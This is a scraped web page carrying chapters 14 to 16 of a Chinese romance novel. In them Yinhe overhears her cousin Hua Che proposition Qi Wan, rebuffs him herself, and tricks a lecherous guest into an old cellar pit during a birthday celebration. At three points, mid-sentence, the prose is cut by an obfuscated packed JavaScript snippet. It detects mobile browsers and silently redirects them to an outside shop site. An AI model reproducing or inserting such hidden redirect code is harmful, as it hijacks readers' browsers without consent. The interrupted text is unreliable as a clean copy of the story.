“太太是为你着想，我也以为很妥当。为何放着享福的日子不过，要去天涯沦落呢。特别戚姑娘看来是个聪明人，不该有这种想法。” 戚晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16902257|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好久才说：“我知道我才薄学浅，不堪扶助。表哥不肯便罢，何必取笑。” “并非不肯，表妹开口，我不会拒绝。既然戚姑娘这样坦诚，我也不好意思啰嗦——你当真打定主意要离开，而且不愿太太过问？” “当真。不仅是我姨母，我也不想老太太生虑、姐妹们牵挂。我宁可自食其力，不愿再依靠他人的好心。” “如此的话，我确实还有个主意，正好可以不教任何人知道。先前我怕戚姑娘会不乐意——不过要帮你，我只有这一个办法。” 戚晚没吭声。银荷起初虽不情愿，渐渐却将二人对话全听进去了，此时甚至不由着急，凝神静听花澈要怎么办。 “戚姑娘才艺虽出众，但要以此谋生，却是不知其中艰辛。佳人落魄，美玉蒙尘，世间憾事莫过于是。岂能让你白白叫我‘表哥’，我怎么忍心表妹落到那般境地？ “你若不愿留在这里，我另有一间居处，你可以搬去。到那儿之后尽凭你自己做主，缺了家什只管添置，要几个人伺候都随你的意。总之你不必为其它事发愁，除了见不到亲友，恐怕略寂寞些。 “不过，倒也清静，而且我得空便会去看你。” “表哥是什么意思？”戚晚的嗓音一下子变紧了，像是乐器突然断了弦。 “你没想错。”花澈平静地说。 “我，我实在不懂……”戚晚慌张地说。 “现下也不是良辰美景，何必在这里兜圈子，咱们都坦白爽快点——我的意思是你跟了我。当然太委屈你了，我会在其它事上尽量弥补。戚姑娘若不称心，有要求不妨直说。” “我从来没想过……我相信表哥是好意，可我实在无法……” “戚姑娘嫌我说话太直接？我就是这么个性子，嘴上讲不出好听的。戚姑娘别在意，只管往后瞧，等事情当真办起来，比别家的样子只会强，不会差。” “我虽贫贱，但绝非趋炎附势、卖身求荣之辈。” “戚姑娘如何还看不透？‘闲官清，丑妇贞，穷吃素，老看经。’你正值青春韶华、才貌出众，何必装那些模样，自讨苦吃呢。况且就算真如你所想，自食其力，过不得几天再看，迟早还有人提我这话。不是我抬高自家，贬损别家——他人怎样我不敢讲，至少我待人会有始终。” 戚晚没开口，花澈又接着说：“我知道戚姑娘性子傲，我绝不肯要你感恩戴德。谁也不是谁的恩主，我本人是完全敬重你的。” 终于，戚晚大声道：“表哥你误会了我。表哥应是磊落之人，我以为表哥也总该明白我是怎样为人。” 短暂的沉默后，花澈说：“戚姑娘自然不是那种人。不过你也识错了我。我不过一俗人而已，只取我所需，从不白做多余的好事。” 戚晚没再说话。一阵响动后，只听她急急走下台阶，想来是抱着琴含屈受辱地离去。花澈犹在后面喊：“戚姑娘不愿意，只当我没说，莫伤了和气。今日之事只有你我二人知道。” 银荷已是愣了许久，简直不能相信自己的耳朵。 14. 寿日 银荷立在石头后面，先是听曲，后是听谈话，站得手脚都发冷了。她并未察觉，心里想：那是他继母的外甥女，他怎么敢趁人之危？厚颜无耻！ 转念又想，在花澈看来，自己还是他祖母的侄孙女呢，他可讲过丁点儿礼数？这家伙根本无法无天，趁早别理他。戚姑娘平日不大言语，心内却有计较，可惜，怎么偏偏错把花澈引为知音？ 正想着，忽然头顶上一声：“妹妹还没听够？” 银荷一惊，要抬头望，同时，不由又想躲避，还没动呢，花澈的声音在身旁响起：“妹妹别慌呀，偷听便偷听罢，我又没说怪你。” 银荷确实理屈，可一口气也真咽不下去，气恼地说：“我听见琴声才来，不是有意要听你们说话。不过，犯了错我就认，我愿意当着二伯父二伯母，向戚姑娘道歉。至于三表哥那些金玉良言，听不听又有什么区别，谁还不知道吗？” 花澈道：“妹妹说得很对，犯了错该认。我这就去向二老爷二太太认错。”说完，他脸上却又显出迟疑之色，“不过，我答应了戚姑娘，不让别人知道。万一太太执意送她回家，她可会怪我？” 银荷心中鄙视，嘴上说：“三表哥放心，我不会对任何人说，我就当什么都没听见。” 花澈便马上笑开了：“我信妹妹。咱们两个，都是为听琴而来。——妹妹认为戚姑娘弹得如何？” 他这么一笑，似乎连他的话都变得真诚，他的用意都变得坦荡了。银荷不由答：“我听过的不多，戚姑娘的琴是最好的。” “是吗？我倒不觉得。本是支哀伤的曲子，怎么仿佛听出了志在必得的味道，我不大喜欢。” “三表哥大概是不喜欢姑娘有志气。” “很对。”花澈一口承认，“我确实更喜欢姑娘有手段。”他定定看着银荷，“志气谁都能有，可是手段——要有一副好相貌，还要有头脑，有胆量，这样，大概想要什么，便能得什么，你说是吗，由心妹妹？” “这我怎么知道，我可没有相貌，更不用提头脑。三表哥该问问自己，三表哥想要的，大概都得了吧？” 花澈似乎对她的讽意浑然不觉，高兴地说：“妹妹说话好不动听。”随即他又惆怅道，“我也有求而不得的。” “对了，毕竟，不是人人都想要住进三表哥的华屋呢。”银荷忍不住刺他。 “算不得遗憾——人若没些念想，日子未免太无趣。好的东西，需要拼尽全力追求，若是随随便便得来，到手也没意思。来得容易丢得快，这个道理戚姑娘明白，妹妹一定更明白。” “我可不像三表哥那样会给自己找借口、吃宽心丸。”银荷轻蔑之意溢于言表。“我只知道不该我的我不会要，管它是好是坏，有意思没意思。” “我可不像妹妹这样容易知足。——妹妹就没有渴求？” “像你那种确实没有。”银荷沉下脸，“若无别事，容我先走一步。不用三表哥屈尊陪我，又不是良辰美景。” “怎么不是？”花澈向四周一望，念起诗，“壶斟青柚，醉几里深红。沧波路，帆一片，报西风。——我好像正和妹妹乘舟胜游呢。” 正说时，一股风吹过，远近树上的叶片翻涌，哗哗如涛声一般。花澈注视银荷，银荷一对上他的双目，轻舟如箭，唰一下，千里云山便从身侧过去了。 银荷呆了一呆。 急忙说：“没想到三表哥倒也翻翻书。” 前几日，她刚得一本新出的词集，花澈所引正是其中的句子，且是她特别喜爱的几句，她真有几分诧异。 “不翻书，怎么敢和妹妹谈天？不和妹妹谈天，岂不辜负了这良辰美景？”花澈微微一笑，把话扯回来，“人人都有想要的，妹妹好像有很多心事，兴许我能帮你也未可知。” “就像你帮戚姑娘那样——我可以不必为其它事发愁？三表哥对亲戚们还真是慷慨。” “她算哪路亲戚，在我心里，只有你才是我的亲亲表妹。我不愿妹妹为任何事发愁，妹妹若肯开口，再难为的，我也愿尽力一试。” “我无德无能，当不起，不敢劳烦三表哥。——不费三表哥的工夫了。”银荷说完，便想从旁绕开。 可是花澈拦住了她。“妹妹何必妄自菲薄，我愿意为妹妹多费工夫。”他说着，将银荷横打量竖打量，“我看人一向公正，你自然比别人都强出许多。是我没想周全，怎好让妹妹先开口提，还是我来说吧，刚才的事若换作妹妹——我愿为你置更大的宅子，说不准天天去看你。” 银荷大怒，抡圆胳膊就向他脸上扇去。花澈眼睛都没眨一下，一抬臂将她腕子捏住。 “失妹妹身份了，大家千金，不作兴动不动上手打人。”见银荷拼命想要挣开，花澈笑笑松了手。 银荷将手被他握过的地方在衣服上拼命蹭着，一边说：“大家公子，总该懂些礼义廉耻！” 花澈等她抬起头，直视她的眼睛，笑道：“妹妹这又何必。我对妹妹，无一句恭维话，每个字都出自真心。我懂得的礼义廉耻，可没不许把心里话说出来。” 银荷真讨厌他那副笑吟吟的模样。“人前人后两张皮，倒好意思说甚心里话！” 花澈愈发笑得舒畅：“哪两张？妹妹在哪儿看见我别的样子？” 银荷冷笑道：“你敢不敢在老太太面前重复你那套话，敢不敢让她瞧瞧她的乖孙到底是个什么嘴脸。” “怎么不敢？”花澈稳当当说，“一字不改，我原原本本再讲一遍，当着哪个人都行。谁不想要最好的，没什么害怕承认，我从来不和自己过不去。” 银荷一时气结：“老太太能容你如此肆意妄为出口猖狂？” “当然不能。老太太这么疼妹妹，她定会狠狠教训我，给妹妹出气。而我会向妹妹道歉，我虽言语无状，但心里实在是珍重妹妹。我会求老太太做主，将妹妹许配给我。老太太见我心诚，一定答允。妹妹呢，愿不愿意？——点点头，咱们这就去见老太太。” 银荷涨红脸，快气炸了。“下辈子也休想！” “我就毫无机会？”花澈面显伤心失落之状，“果不其然，拒绝的话从妹妹嘴里说出来，要教人难受多了。” 银荷猛然醒悟自己又上了套，对这种混蛋，说一句话都多余。可是花澈好像一眼看到她心里，不待她动作，抢先一步让开路。 “先别忙把话说死。妹妹赶紧回去暖和一下吧，手凉得很。”他关切道。 银荷眼里几乎迸出火星子，恨不得把他烫焦，但她还是忍住，眼梢都没扫花澈一下，板着脸一径去了。 . 十月十八这日是老太太寿辰。 银荷早两个月便开始准备寿礼，是她亲手做的一件比甲，上面绣了大团墨菊，菊瓣条条分明，卷起如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16906377|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浪头，端地有傲霜之色。 她有一手好针线功夫，就是最顶尖的绣娘看见，也难免心生忌妒。 原来银荷天生悟性高，学什么都快，可又缺少恒心，稍有小成便自得起来，再去尝试新的，故而琴棋诗画上，在外行面前她样样拿得出手，内行却能看出离真正的精湛还差点儿。唯独女红一项，她是看作“正业”，下苦钻研过一番。 在矴州时，虽然老爷小姐都不要她做活，她始终想着由心劳累不得，自己要为她绣出最美的衣衫，故此用心学习，潜心琢磨，技艺越来越精，即便不到登峰造极的地步，也是非比寻常。 自然，她用了十二分心思给老太太做出的衣服，在寿辰这日一亮相，就让众人瞪圆了眼睛。 其实，大家也非头一日知晓，往日里，不少人因见银荷手工可爱，央她做过东西。 “不然怎么说这丫头招人疼。你这孩子，竟有这样的耐烦。”老太太将银荷搂在怀里，又正色道，“只此一次，以后可别再做了，伤了眼睛怎么好。你们姐妹玩耍归玩耍，可不许劳动由儿。”大家忙答应，老太太又要银荷再三保证不动针线，才放了心。 上寿的客人陆陆续续都到了，女客之中小辈们由瑷宁和映雪招待着在园子里玩，一些相熟的长辈太太则会多坐一会儿，陪老太太叙话。老太太却还留了银荷在身边。众位太太看银荷模样标致，大方静雅，纷纷夸赞，说的倒不全是场面话。 其中有位二品夫人薛氏是花家已故二太太的嫂子，正是花沛和花澈的亲舅母。薛夫人有个还未定亲的儿子，这时，她向旁边的人送过去一个眼神。 那位太太家里无人要娶亲，便搭讪着问起老太太曲姑娘可曾许配人家。老太太说：“我这侄孙女父亲没了不到一年，她还小，我将她看作亲孙女一般，可不舍得早早就许了人。” 薛夫人只听进未曾许配，心中更有了底，至于其它就全不理会：谁家里嫁姑娘，都得矜持些，何况老太太这般身份。不过她心里必然愿意，不然为何撇开亲孙女，单拉着侄孙女见人。 银荷听得有人提自己，登时坐不住了，老太太点点头，她就跑出来，急着去找宝屏。 曲宝屏是由心堂伯父的女儿，由心的堂妹，银荷先前见过两回。光凭她姓曲，银荷先就生出好感，何况宝屏本身又爱说爱笑、和悦可亲。宝屏还有个姐姐宝画，已经出嫁了，银荷早就盼着今日她也会来，可以见一面。 园子大，走了几步，没见到姑娘们，倒是迎面过来一位公子。他边走边左顾右盼，看见银荷，眼睛一亮，快步上前来。 银荷以为他要问路，停下说：“公子请走那边，就能出去了。” “姑娘是往哪边去。”对方嬉笑道。 银荷心想不知哪家的客人，这般无礼，冷冷说：“公子还是别在园子里乱走，撞到人不好看，请快快出去吧。” 那人疑惑地打量银荷：看她样貌服饰，是位小姐，可又没羞怯模样，也不避人；听她口声，更像是府里一位大丫环。 他试探着问：“我转得累了，想先歇歇，不知哪里能喝上一口茶？” 这时银荷也看清楚了：论长相，这人算得上翩翩公子，但再好的皮囊也显出丑陋——他涎皮赖脸，不论目光还是话音都黏黏糊糊，分明又一个葛全有。 正好犯了银荷的大忌。她心内腾地窜上一股火：“请公子随我来。” 15. 耳坠 那位公子欣喜不已，紧紧跟在银荷身后，一面说：“你是哪个屋里做事的姐姐？我瞧着你很伶俐，把你讨回去，怎样？” “等会儿你就知道了。”银荷步子迈得更急。 那人心里痒痒，管不住自己，又说：“我屋里头现在没人——有我也打发走，去了你最大。我好好待你，比在这里强上百倍。” 银荷忍不了了，开口道：“公子还是先别嚷嚷出来，看让人听见。” 那人当她终于害羞，喜滋滋说：“你不用怕，都包在我身上。甭管你主子是哪个，我一定要过来。”见跟不上银荷，他才紧跑几步，闭了嘴。 银荷只管向着僻静无人的地方走去，不一时，两人正到了上回戚晚弹琴的小山包前。她停下，扭头说：“就是这里了，公子想要喝茶，请上面走。” “你果然伶俐。”那人喜不自胜，“此处甚好，没人瞧见。” 银荷不理他，拾阶而上，抬手作势要拂头发，悄悄卸下一只耳坠来。 到了亭下，她又站住。“请公子等一等，茶马上送来。” 那人张开双臂，就来抱她。“茶不忙，不忙。” 银荷错身闪开，“我的耳坠掉了，请公子先帮我捡起来。”手向斜坡上的草丛一指。 那人胡乱看两眼：“不要紧，先来亲个嘴儿，回头我送你更好的。” 银荷强忍着恶心说：“我就喜欢这只。公子不愿，我自己去拣。” “好，好，我给你拿。”那人目光朝银荷空着的耳朵钻了一钻，“等下你可得让我帮你戴上。” 他走下坡两步，突然停住，向旁边看看。“这里不好办，下面好像有个洞，可别跌了进去。” 银荷吃了一惊。这小土山中间确实有个废弃多时的旧窖，窖口被杂草掩住大半，站在上方看不出。要是一脚踩空，会顺着半人来长的坡滑进洞里，里面也不过一人深，掉下去不至于受伤，却很难出来。 平日里就算有人来此也是走石阶，不会爬山坡，所以那洞一直丢着无人理会，只有花溯花洄将此处当成了一个玩乐的地方。银荷和兄弟两个玩过几次，得了信赖后，才被郑重告知这个“秘密”。她正想骗这人跌进去，可没料想他居然会知道。 银荷只得惊讶道：“我从来没听说，你怎么晓得，莫不是跌过？” “呵，我记得没错，就差一点儿。”他向前探脖子，得意地说，“我怎么知道，我……”一语未毕，膝头一软，一个踉跄，竟真是摔落进洞。 银荷又惊，又喜，又听洞里传来骂声：“死丫头等着，我能找到你是哪个屋里的，饶不了你。” 她顾不得疑惑，欢喜道：“不用找，我就在这儿等着你出来。” 那人气得哇哇大叫：“快去喊人！别以为我拿你没法子。你还不知道爷爷是谁，等我告诉我表兄——” “叫我？”身后有人说。银荷吓了一跳，花澈不知从哪里突然冒了出来。 “表兄快救我！”洞里那人也听到他的声音，憋足力气大喊。 花澈先朝银荷赞许地一笑，才下坡去拉他出来，一面说：“我说到处寻你不着，原是土里生了根。” 那人上来后，冲上来就要抓银荷：“你个贼丫头敢骗我。” 花澈挡住他：“舅舅正找你。快！当心他急了。” 银荷见花澈不向着他表弟，心里倒有点喜欢。又瞧见他们表兄弟站在一处，一般都是玉带锦衣的打扮，但即便那一个身上不沾土，花澈与他也仿佛云泥之别。 由此，她猛然又想到，虽然花澈是个声色犬马的风流公子，虽然他说话格外不堪入耳，奇怪的是，自己从不觉得他与葛全有相类——从没生过一丝那样念头。 三言两语打发走表弟，花澈向银荷转过笑脸：“妹妹是不是也喜欢这儿？我早就说此处风水不错，不信你只管守着，隔不了几日，准有小兔儿撞过来。” 但他也绝不是什么正派人。银荷想。 “我还不知，你是那家伙的表兄啊——”她鄙夷地拖长腔调。 “这没法由我，不然，只愿作妹妹一人的表兄。——妹妹稍站站，等他走远咱们再走。” 银荷随手一指：“我走那边，不与你同路。” 花澈碰个钉子，还只管笑：“那更方便——都到门口了，妹妹进屋坐坐，喝我一杯子茶。” 银荷才发觉，所指处正是花园的最西北角，那儿有座三层楼阁，原是老太爷的书房，后来给了花澈用，因楼高且宽敞，干脆连卧房也一并设在此。 “三表哥，今日我没空！”不等她开口，花澈学着她的语气道。“知道妹妹难为情，我来替妹妹说。——不妨事，老太太寿辰，先让她老人家高兴了，过了这几天……反正我不急，茶总是备着，妹妹愿意哪日来都行。” 银荷见他抢着替自己答话，又是乱说一通，不知该气还是笑，不过，一分笑模样却是带到了脸上。 花澈便笑得更加和煦：“妹妹不要这个，我便收着了？正好一人一只。” 他伸出手，手心托着银荷刚丢出去的耳坠。 银荷把耳坠已经忘了，也不知花澈何时捡起。“给我。”她急忙说。 可花澈并不归还，而是像把个稀罕果子不小心掉了，捡起后先得放到唇边爱惜地吹吹，又要拿手指尖仔细地拭拭，这才递到银荷面前：“干净了，妹妹戴上吧。” 见他这一番乔龙画虎花里胡哨，银荷心里又发了火，只是不好骂他，硬挤出个谢字，一掉头就走了。 今日客人多，园中的亭台楼榭里，到处安排了茶座。银荷不欲再结交京里的贵妇贵女，只问明宝屏花瑶不在，便绕开，一直走到了流萤榭。 流萤榭是湖中跨在水上的清幽小筑，只有一道长桥通去。银荷过桥，听丫环说花家姑娘全在里面，推门一望，一位盛装丽人正一边搂着花瑛，一边拉着花瑶，便是大姑娘花珍了。 问候之后，银荷仍走出来。她们姐妹重逢，自然有些笑泪的说话。银荷见了那个亲热劲儿，百感交集，忍不住就红了眼眶，怕人看出来，转过身去，假装观湖景。 正在伤心，宝屏蹑手蹑脚走到她身后，蒙住她眼睛：“猜我是谁？”不待银荷答话，她立即松了手，“哎呀，你怎么哭了。” “别嚷嚷。”银荷拉住她，擦擦眼泪，“我不过是看她们姐妹见面高兴。” 宝屏说：“我知道。我姐姐嫁人后我也常想她。” “宝画姐姐没来？” 宝屏摇头：“姐夫外派上任去了，马上启程，她也要一起走。” “这么急？”银荷还没见过宝画，有些失望，一时又问，“这次你会多住几天吧？” 宝屏又忧愁地摇摇头，银荷追问，她方悄声说：“这里面有个缘故。先前，我们太太想把我姐姐嫁给三表哥。” “他？”银荷喊叫。 宝屏忙向四周看，幸而无人。“我告诉你，你可别让人家听去。我们太太是那样想，姑祖母也有点儿愿意，不过没明着说，只是私下里问三表哥，三表哥不同意。不同意便罢，后来，我姐姐许了姐夫家，姐夫是个挺好的人，以前的事就不用提了，谁知，我们太太又异想天开……” 宝屏脸全红透了：“她想要我……我姐姐可比我美多了，又是太太生的，姑祖母也更喜欢她，这样都不成，何况我……我们太太还偏要碰运气，那时总带我过来。大概三表哥知道了，不高兴，正月里就出门了。老太太见不着孙子，心里能不气嘛，肯定怨我们太太。三表哥好容易才回来，你看，我还能多留呢？” 银荷气得都变了脸色：“你只管留，三表哥乐意出门，别回来才好。”见宝屏诧异地看她，忙又说，“为什么非看中三表哥，我看他没什么好嘛。” 宝屏连连摇头，脸又红了些：“我也没有，不不，我不是说三表哥不好，只是我绝没有……不然也不会对你说这些了，你可千万别告诉人，这事只有我一人知道——我姐姐出阁前，很是伤了一阵子心。因为打小她就常来，和几位表哥都是一起玩大的。至于我们太太么，她是看三表哥能够养家。” “三表哥？”银荷不信地叫了一声。 “我们太太是这样说。”宝屏用手在面前一划，“你看花家怎么撑得起这么大排场？” 这时候，银荷心里已经明白了：花澈口里那些风话，倒并非调戏，多一半是以为她谋划着想嫁他，故此先拿话将她吓退。 想起花澈，银荷原是三分羞七分恼，这下全成恼了，忿然道：“倘若真有姑娘能看上他，他不该额手称庆感激涕零诚惶诚恐吗，有什么好趾高气昂的。”她搂住宝屏，“别理会那些，过几天我跟姑祖母说我想你，让她接你过来玩。” 过不得一会儿，花瑛和花珍从水榭出来，向别处去了。两人进屋去找花瑶，只见她趴在桌上，脸上犹有泪痕。问起来，也是为花珍出嫁后，在婆家并非事事如意，总是不比在家做姑娘时畅快自在。 三人都怅怅的，还是宝屏先取笑：“瞎发愁什么，你们两个肯定能嫁得如意郎君。” 银荷先前从未想过嫁人之事，便有，也极模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16921286|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊。可今天被那位太太一提，她方意识，老太太迟早会考虑她的婚事。 做花家表姑娘，是答应了由心，而今看，若能一直做表姑娘，也是自己心之所愿。可是，拿由心的名字嫁人？那可万万不行。 “我不嫁人。”她说。 “那咱俩个作伴。”宝屏立即说，又看花瑶发笑，“但是瑶姐姐肯定不愿陪我们。” 花瑶的脸染了胭脂般，跳起来：“再乱说一个字，永不睬你了。” 见她发急，宝屏闭了嘴。 坐着闲聊几句，也就到了中午，小丫环来喊她们入宴。几人往前头走，宝屏在中间，半道上侧头向两边一瞧，问：“你们怎么今天都没带耳坠？” 花瑶忙摸耳朵，呀了一声。“怎么掉了一只。” 她站住，向来路望着，另两人也去看地上，哪里寻得见。 “恐怕早就掉了。”花瑶懊恼地说，“早上蝉影给我挂的，她说这珠子贵重，别掉了，特意给我勾得紧，我嫌不舒服，自己松了松，没想到真就掉了。” 银荷和宝屏见剩下的那粒珍珠又大又滚圆，都深觉可惜，想要仔细找找，花瑶不肯：“算了，反正我也不喜欢。还不是我娘硬要我戴。” “不是说贵重吗，”宝屏道，“还能白白丢了？” “能贵重到哪去，”花瑶烦躁地说，“我娘拿来两对，另一对粉的给了戚晚表姐。” “那更不好了。”宝屏说，“你不是说你娘总夸奖她数落你吗，要是你娘发现，不更有的说了。” “那怎么办，一时也不定能找到，我们过去迟了，更惹人注意。今天这日子，万一再惊动我爹就完了。”花瑶着急起来。 只好先去吃饭。三人商量，等下午客人都走了，再把上午去过的地方，几个人分头，悄悄地找一找。 散席后，来客陆续离开。花沛正在招呼送客，有人从身后拽他，他回头一看，见是舅舅家的表弟对他挤眉弄眼，便走到一旁。“程霖，你有何事？” “表兄，我跟你打听个人。” “打听哪个？”花沛和气问道，以为他无非想要和席上推杯换盏过的人进一步结交。 “我听我娘说，你们家里有个表姑娘长得很美，果真？”程霖笑道。 “什么意思？”花沛直直瞪着他。 程霖晃晃脑袋：“没什么，我娘刚才说见到这么个姑娘，还不是想哄我娶回去，我自然要打听明白了。 “我不知道舅母说的是谁——不论是谁你我都不该议论。”花沛冷然道。 程霖满不在乎地说：“我就知道我娘准是唬人。真要有个貌美表妹，还能原封不动在表兄家留到现在。我说的是吧？”他对花沛露出心知肚明的坏笑。 花沛费了好大的劲，才忍住没有朝那张洋洋自得的脸挥上一拳。 “不过你们这儿有个小娘儿倒是绝了，只可惜被澈表哥划拉到他窝里去了。”程霖说着，忽然想起来万一别人道是他看中花澈的丫环，遭耻笑，便哼了一声，“澈表哥真能装样，还不是也收了丫头？” 花沛不答，也没将这话往心里去。 “我还忙着，不送了。”他骤然说，接着便转身，一径走到花园中。 花沛闲时和瑷宁聊起过舅舅家的事，他可太清楚舅母薛夫人心里的打算了：她这个儿子，京里出了名的不学无术、举止荒唐。薛夫人管束不住，便想尽快给他定亲，可程霖又放话，非绝色不娶。薛夫人也以为，只有娶个貌美的媳妇，才能让儿子安心守在家。 可是，先不论相貌，周围家世差不多的，谁乐意将闺女嫁个酒色之徒，而薛夫人自恃门第，自然也不肯与无名寂寂的人家结亲。 所以她看中了表妹，——虽则她父母俱不在了，总是有父祖根基，现下，又是被老太太收养。 自然，不会只薛夫人一个这么想。——即便今日没有，来日定会有张家的、李家的…… 念及此，花沛恨不得即刻去向表妹提醒一声。 午后的暖阳拂照在身上，他却感到说不出的烦闷、焦躁。 表妹要嫁，总该嫁个好人。 好人？花沛苦笑。像自己这般么，刚娶瑷宁时，他还敢说这话，可如今，他比那程霖又能强到哪儿去？ 心烦意乱间，花沛不觉走至流萤榭。有个小丫环正在那儿收拾，他见了便吩咐道：“沏壶茶。” 茶煮好，花沛令小丫环出去，坐在窗前，望了湖心发起呆。 不一时，听见说：“大哥倒是会找清静。”花澈走了进来。 16. 寻物 花沛正陷在愁绪中不可自拔，打心眼里欢迎兄弟：“三弟过来坐。” 花澈欣然坐下：“喝茶？我叫人拿两壶酒来。” “改日吧，我就是为醒醒酒。桌上已喝了不少，这会儿劲上来了。”花沛说着拿起一只杯子，花澈忙拦了他，提过茶壶自己倒了茶，一面问：“大哥有什么嘱咐？” “不陪人说话了？”花沛问。下午有几位相熟多年的老夫人与老太太坐着摸牌，老太太也拉了花澈在跟前。 “大哥能躲清闲，就不许我也躲躲？老太太们聊天，我又插不进嘴，待着没趣。” 花沛知道花澈能言善道，很会在长辈太太跟前应酬敷衍，从不缺了礼数，如果他说没趣，不用问定是有谁又提起了他的亲事，惹他不痛快了。 唉，男大当婚，女大当嫁，怎怨别人要提？花沛抑住心事，笑道：“你今天又作弄程霖了？” “他向大哥告状？”花澈鄙夷道，“看他那个下作样，没一块骨头。要不是看舅舅份上，我早把他——”他眼神一冷，停住嘴。 听了这话，花沛心头一宽：老太太怎会将表妹许给程霖？哪怕老太太将来老糊涂了，程霖想娶表妹，三弟都不能答应，而三弟说话，老太太当真会听。不必愁。至于那些张家的、李家的，到时再说罢。 花沛便笑笑：“你何苦理他，让他到处说你收了个丫头。” “他这么说？”花澈露出几分感到有趣的神情，仿佛头一回发觉程霖说话挺有意思。“收个丫头怎么，败坏谁家门风了？我还娶个丫头进来呢。轮到他讲话！” 花沛自不当真，又说：“咱们久没坐一处说话了，平时倒不见你耐烦在园子里转。” “今天日子好天也好，我看看能不能邂逅哪位姑娘。”花澈半认真道。 这会儿客人都散了，花沛晓得弟弟是在开玩笑，但恰触到他自己的心事。停了一停，他笑着说：“要是看中了谁家的姑娘，回头我让你大嫂请人过来玩。” “让我想想……”花澈说。 花沛以为他会一口回绝，不料他喝着茶，若有所思，思了好一时。当然，肯定是做做样子，不曾当真考虑。最后仍旧是一句：“姑娘们都很好，不过还是算了罢。” “没有合意的？是嫌样貌不美还是不够文雅。” “大哥这么说就冤枉我了。我从不挑剔姑娘，人家各有各的优点，再说，还能轮到我挑眼不成，好姑娘哪儿会瞧上我？我还是躲远些，别自讨没趣。” 花沛知道这话更当不得真，兄弟实则挑剔得很，也不点破，无奈道：“母亲走时最放心不下你。” “我如今不是好好的？就是母亲在，也断不会烦恼这个。我又不是事事都不严肃，婚姻可是头等大事。要是我钟情一个姑娘，又错会了她的心思，——要是我叫姑娘负了，余生只得藉着酒销那无尽烦愁，那时更累大哥操心。” 花沛便默然了一阵，又说道：“你自己有主意就行，不说这些了。最近有什么新鲜事？”于是兄弟两个天南海北地说话，花沛将心中忧闷也就暂且撇到一旁。 且说今天这个日子，大太太娘家亦有人来。大太太见过子侄，叫来诗钰，数说一番后就忙着招呼大女儿去了。 送走堂兄嫂，诗钰和丫环翠儿走入园中。 诗钰愁烦道：“大哥大嫂那样子，我别想能回去了。还以为我在这儿是享了多少福呢，平时连个逛园子的工夫都没有。早知当初就让他们把我嫁了，家业不论，只要是个老实人，能过下去就行，总好过如今瞧人脸色过活。” 翠儿说：“其实当初姑娘要是和表公子……” “当初什么，”诗钰打断她，“我早就不想那事了，你要为我好就别再提。” 翠儿仍不住口：“表公子心里是有姑娘的，只可惜……要是他能早点功成名就，和姑娘不正是天造地设——” “让你别再说！”诗钰喝止她，又长叹一声，“什么表公子，不过叫他一声表兄。花家这几位才是正经的公子。” 翠儿不说话了，过会儿看诗钰一眼，又笑道：“姑娘生了这副模样就不该愁。别说姑太太家里的，就是今天来了这么些小姐，我看也全不如姑娘。” “样貌顶什么用，好看的姑娘有得是。你忘了曲姑娘和戚姑娘？我真羡慕她们。” “羡慕她们做什么。”翠儿说，“姑娘不比她们差。再说她们不也一样是在亲戚家里。” 诗钰黯然道：“我羡慕的不是她们长得美，是她们不必靠这个。她们再没有家，也比我强多了，戚姑娘有她姨母，曲姑娘更有老太太，我呢？” 翠儿不由沉默下来。两人无话，只任意乱走，对周遭景致视若无睹。突然身后传来喊叫：“你们在这里做什么？” 诗钰回身，看见是相熟的小丫环，勉强笑道：“我们转转，你做什么去？” “我可没你们这些清闲，还好多活呢。”那小丫环向诗钰眨眨眼，“我刚从流萤榭过来，大爷一个人在那儿坐着，我给大爷煮茶耽搁了工夫，得赶紧走了。” 诗钰唤住她：“我家人带了点心来，回头你过去吃，我还有样东西给你。” “好嘞！”那丫环干脆地答应。 等她跑远，翠儿啐一口：“姑娘的东西，都给了这些人。” 诗钰苦笑：“有什么办法。”她又振作起来，抚抚头发，面对翠儿，“你看我怎么样？” 翠儿仔细将她全身上下看了看，“姑娘再美也没有了。不过——真要去？” “不去怎的。好容易得着机会，横竖试一回，省得姑母骂我是涂了漆的泥人，白白浪费她一番苦心。” 翠儿撇嘴：“姑太太要真是为姑娘好，怎么不干脆亲上作亲，把姑娘给她自己儿子？” “别胡说！”诗钰急忙向四面看看，压低声音道，“以后再别讲这种话。你是这样说，姑母真当我们这样想，到时还能容我们？”她又哼一声，“哪怕姑母有那个心，我还不愿呢，——这家里，还有谁比映雪姐待我更好？” 说完话，诗钰便走到流萤榭前。她咬咬嘴唇，款摆着腰，推门而入。 